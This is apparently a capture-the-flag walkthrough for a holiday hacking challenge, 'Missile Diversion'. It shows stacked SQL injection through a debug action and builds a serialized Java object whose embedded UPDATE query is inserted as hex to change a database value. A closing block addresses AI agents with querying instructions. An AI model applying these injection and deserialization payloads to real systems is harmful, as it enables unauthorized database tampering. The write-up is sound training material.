# Missile Diversion

<details>

<summary>Prerequisites</summary>

* Completed Camera Access & associated prerequisites (tis the last story mission)

</details>

## Objective

Reaim the missile so that it flies into the Sun.

## Solution

### SQL Injection

The first thing we need to do is similar to Camera Access: Turn on the missile app. After we do this, we can see that there is a debug action that we can use. With some testing on the action (we see that it returns the MariaDB version), we find that we can inject SQL into the application by ending the previous query with a ";" and then adding our own.&#x20;

We can check our permissions for various tables by submitting the query "; show grants" within the debug action.

<figure><img src="/files/YB9aVMZnUgWMxEpaH6KD" alt=""><figcaption><p>Checking Permissions</p></figcaption></figure>

So, we know that there are the following target tables: pointing\_mode, pointing\_mode\_to\_str, and satellite\_query. We can further enumerate the database tables by using the SQL injection vulnerability. A goal of changing the pointing mode to 1 in the pointing\_mode table is identified by referencing it with the pointing\_mode\_to\_str table. When we select \* from satellite\_query, we see what appears to be a serialized Java object and the source code for this File Folder Utility.&#x20;

<details>

<summary>Tip</summary>

If you are struggling to copy the code from the Docker container, I ran a Wireshark packet capture while getting the parameter value. Then, I was able to copy that packet capture from the Docker Container to my host VM in order to Follow the TCP stream & copy/paste the code to a file.

</details>

```java
import java.io.Serializable;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import com.google.gson.Gson;

public class SatelliteQueryFileFolderUtility implements Serializable {
    private String pathOrStatement;
    private boolean isQuery;
    private boolean isUpdate;

    public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
        this.pathOrStatement = pathOrStatement;
        this.isQuery = isQuery;
        this.isUpdate = isUpdate;
    }

    public String getResults(Connection connection) {
        if (isQuery && connection != null) {
            if (!isUpdate) {
                try (PreparedStatement selectStmt = connection.prepareStatement(pathOrStatement);
                    ResultSet rs = selectStmt.executeQuery()) {
                    List<HashMap<String, String>> rows = new ArrayList<>();
                    while(rs.next()) {
                        HashMap<String, String> row = new HashMap<>();
                        for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
                            String key = rs.getMetaData().getColumnName(i);
                            String value = rs.getString(i);
                            row.put(key, value);
                        }
                        rows.add(row);
                    }
                    Gson gson = new Gson();
                    String json = gson.toJson(rows);
                    return json;
                } catch (SQLException sqle) {
                    return "SQL Error: " + sqle.toString();
                }
            } else {
                try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
                    pstmt.executeUpdate();
                    return "SQL Update completed.";
                } catch (SQLException sqle) {
                    return "SQL Error: " + sqle.toString();
                }
            }
        } else {
            Path path = Paths.get(pathOrStatement);
            try {
                if (Files.notExists(path)) {
                    return "Path does not exist.";
                } else if (Files.isDirectory(path)) {
                    // Use try-with-resources to ensure the stream is closed after use
                    try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
                        return walk.skip(1) // skip the directory itself
                                .map(p -> Files.isDirectory(p) ? "D: " + p.getFileName() : "F: " + p.getFileName())
                                .collect(Collectors.joining("\n"));
                    }
                } else {
                    // Assume it's a readable file
                    return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
                }
            } catch (IOException e) {
                return "Error reading path: " + e.toString();
            }
        }
    }

    public String getpathOrStatement() {
        return pathOrStatement;
    }
}
```

### Coffee & Cereal (Java Serialized Objects)

From the source code, we can see that this utility uses a serialized Java object that contains a string, and two Boolean properties. Reading through the code, and thinking about our context, we can identify a goal of trying to reach the conditional statement that allows us to update values in the database. Our objective here is to point the missile at the Sun instead of Earth. So, we can plan to update the value for id=1 in the pointing\_mode table to 1.

In order to do this, we need to understand what input this utility expects. We need a serialized object that contains our UPDATE SQL query, and two Boolean value properties that equal true. I am not as familiar with Java, so I used ChatGPT to assist in code generation for this payload. I used the query: "how can I create a serialized java object that as input for the following code will trigger the isUpdate conditional to update MySQL database?" I received the following code, which upon review appeared to make sense for this situation. HOWEVER, the original code ChatGPT gave me had isQuery set to false. This is incorrect; we need to set both the boolean values to true.&#x20;

```java
// SerializeObject.java
import java.io.*;

public class SerializeObject {
    public static void main(String[] args) {
        // Create an instance with the parameters that trigger the update
        SatelliteQueryFileFolderUtility utility = new SatelliteQueryFileFolderUtility(
                "UPDATE your_table SET your_column = 'new_value' WHERE your_condition",
                true,  // isQuery originally was set to false
                true    // isUpdate
        );

        // Serialize the object
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serializedObject.ser"))) {
            oos.writeObject(utility);
            System.out.println("Object serialized successfully.");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

```

First, we need to compile the SatelliteQueryFileFolderUtility class. I needed to grab the [gson library](https://github.com/google/gson) to do so. Then, compile the SerializeObject code provided by ChatGPT. This produces a serialized Java object named "serializedObject.ser". To send our payload to the application, we convert it to hex and remove new lines.

```
┌──(stitch㉿snore)-[~/newapp]
└─$ javac -cp gson-2.10.1.jar SatelliteQueryFileFolderUtility.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
                                                                                                                                                              
┌──(stitch㉿snore)-[~/newapp]
└─$ javac SerializeObject.java                                    
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
                                                                                                                                                              
┌──(stitch㉿snore)-[~/newapp]
└─$ java SerializeObject && xxd -p serializedObject.ser | tr -d "\n"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Object serialized successfully.
aced00057372001f536174656c6c697465517565727946696c65466f6c6465725574696c69747912d4f68d0eb392cb0200035a0007697351756572795a000869735570646174654c000f706174684f7253746174656d656e747400124c6a6176612f6c616e672f537472696e673b7870010174003855504441544520706f696e74696e675f6d6f646520534554206e756d65726963616c5f6d6f6465203d2031205748455245206964203d2031                                                                                                                                                              
```

Once we have our payload, we can construct the necessary SQL statement to get it into the DB for deserialization. Our user has insert ability into the satellite\_query table, which is useful for this:

```
;INSERT INTO satellite_query VALUES ('80', UNHEX('aced00057372001f536174656c6c697465517565727946696c65466f6c6465725574696c69747912d4f68d0eb392cb0200035a0007697351756572795a000869735570646174654c000f706174684f7253746174656d656e747400124c6a6176612f6c616e672f537472696e673b7870010174003855504441544520706f696e74696e675f6d6f646520534554206e756d65726963616c5f6d6f6465203d2031205748455245206964203d2031'), '')
```

<figure><img src="/files/bFYFKcBaGoDWNUxDarek" alt=""><figcaption></figcaption></figure>

And that's it! Yay, you saved Earth!


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://holidayhack23.thepestotech.com/missile-diversion.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
